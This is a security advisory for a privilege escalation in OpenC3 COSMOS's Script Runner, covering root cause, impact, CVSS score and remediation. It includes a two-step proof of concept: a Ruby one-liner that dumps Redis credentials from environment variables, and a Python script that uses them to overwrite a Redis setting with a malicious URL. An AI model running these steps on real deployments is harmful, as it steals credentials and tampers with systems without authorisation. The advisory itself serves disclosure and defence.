GHSA-2wvh-87g2-89hr: Privilege Escalation via Script Runner in OpenC3 COSMOS

OpenC3 COSMOS provides a command and control system that includes a Script Runner tool designed for operational automation. This tool allows authenticated operators to execute Python and Ruby scripts directly within the openc3-COSMOS-script-runner-api Docker container. The vulnerability, tracked as GHSA-2wvh-87g2-89hr, arises from insufficient isolation between this script execution environment and the underlying infrastructure.

The core issue is a combination of Execution with Unnecessary Privileges (CWE-250) and Improper Privilege Management (CWE-269). The script runner container operates on the same internal Docker network as backend data stores and services. Furthermore, the environment variables provided to this container include high-privilege credentials intended only for internal service-to-service communication.

By leveraging the Script Runner, an authenticated user with low-level privileges can bypass the intended role-based access control (RBAC) mechanisms. The attacker can extract the internal credentials and pivot to directly query or modify backend infrastructure. This breaks the security boundary between the application frontend and the internal data tier, resulting in unauthorized data access and configuration tampering.

The root cause of this vulnerability lies in the architectural decision to pass infrastructure secrets as plaintext environment variables into a container that executes user-supplied code. The openc3-COSMOS-script-runner-api container relies on these environment variables to establish its own connections to backend services. When a user submits a script for execution, the Python or Ruby interpreter inherits the complete environment of the parent process.

Because the interpreter lacks a strict sandbox, the user-supplied script executes with the full network and credential context of the container itself. The Docker networking configuration does not enforce micro-segmentation between the script runner and the Redis database. Consequently, the script runner container maintains unrestricted network access to the openc3-redis hostname on port 6379.

This architectural flaw renders application-level authorization checks ineffective. The OpenC3 API correctly enforces permissions when a user attempts to modify settings via the standard web interface. However, the internal Redis database lacks secondary authentication checks that differentiate between the legitimate COSMOS application service and a user-controlled script executing within the shared environment. The trusted network position and valid credentials satisfy the database's authentication requirements.

The vulnerability manifests primarily in the deployment configuration rather than a specific code defect in the script execution logic. In the vulnerable state, the orchestration configuration (such as Docker Compose or Kubernetes manifests) maps sensitive configuration values directly into the container's process space. The environment block typically includes keys such as REDIS_PASSWORD or REDIS_URL.

The following is a conceptual representation of the vulnerable deployment state:

services:
  script-runner-api:
    image: openc3inc/openc3-COSMOS-script-runner-api
    environment:
      - REDIS_HOST=openc3-redis
      - REDIS_USER=openc3
      - REDIS_PASSWORD=openc3password
    networks:
      - internal_cosmos_network
 
  openc3-redis:
    image: redis:alpine
    networks:
      - internal_cosmos_network

The remediation strategy requires decoupling the user script execution context from the primary API container context. A robust fix involves implementing a dedicated, unprivileged worker environment for script execution that does not receive infrastructure credentials. The parent process must marshal necessary data to the worker without exposing the underlying connection strings.

Additionally, network policies must be updated to explicitly deny connections from the script execution workers to sensitive backend services like Redis or the object storage buckets. The worker should only communicate with an intermediating API gateway that enforces standard authorization checks, ensuring that executed scripts cannot bypass the application's RBAC enforcement.

Exploiting this vulnerability requires authenticated access to the OpenC3 COSMOS instance with sufficient privileges to use the Script Runner tool. The attack consists of a two-stage process: credential extraction and unauthorized data manipulation. The initial phase leverages a minimal payload to enumerate the execution environment.

The attacker first submits a Ruby script to print the environment variables, specifically filtering for database credentials. The following script outputs all environment variables containing the string redis:

# Step 1: Credential Extraction
puts `env | grep redis`

Upon obtaining the host, username, and password, the attacker submits a secondary Python script to establish a direct connection to the internal Redis instance. This script instantiates a Redis client using the extracted credentials and modifies application state directly. The following proof-of-concept demonstrates overwriting an application setting (store_url) to redirect internal functionality:

# Step 2: Privilege Escalation and Modification
import redis
import json
import time
 
r = redis.Redis(
    host='openc3-redis',
    port=6379,
    username='openc3',
    password='openc3password',
    decode_responses=True
)
 
setting_data = {
    'name': 'store_url',
    'data': 'http://malicious-endpoint.com',
    'updated_at': time.time_ns()
}
 
r.hset('openc3__settings_hacked', 'store_url', json.dumps(setting_data))
print(r.hget('openc3__settings_hacked', 'store_url'))

The impact of this vulnerability extends to the complete compromise of the OpenC3 COSMOS application configuration and internal state. The CVSS v3.1 base score is 9.1, reflecting a critical severity level. The Scope metric is evaluated as Changed (S:C) because the vulnerability originates in the script execution context but impacts the broader backend infrastructure.

An attacker who successfully exploits this flaw gains read and write access to all data stored within the internal Redis instance. This includes the ability to modify internal settings, inject malicious configuration data, or read sensitive cryptographic material and session tokens. The attacker bypasses all application-level audit logging and authorization controls designed to protect these assets.

Furthermore, the attacker can leverage the shared network position to interact with other internal services, such as the internal buckets service. This permits the uploading of malicious plugins or the modification of existing operational scripts. The integrity and confidentiality of the COSMOS deployment are entirely compromised, although the underlying host operating system availability remains unaffected.

The primary remediation for this vulnerability is to upgrade OpenC3 COSMOS to version 7.0.0-rc3 or a subsequent stable release. The patched versions introduce architectural changes that restrict the script execution environment and manage credentials securely. Administrators must apply the vendor-provided updates to all affected environments.

If immediate patching is not technically feasible, administrators should restrict access to the Script Runner tool. Modify the role-based access control policies to ensure that only highly trusted, administrative users possess the privileges required to submit and execute scripts. This reduces the likelihood of exploitation by a low-privileged insider or compromised external account.

Organizations should also implement defense-in-depth measures at the orchestration layer. Apply network policies that restrict outbound traffic from the openc3-COSMOS-script-runner-api container to explicitly required destinations only. Connections to backend data stores like Redis and PostgreSQL should be blocked at the network level for the script execution context, regardless of the credentials possessed by the container.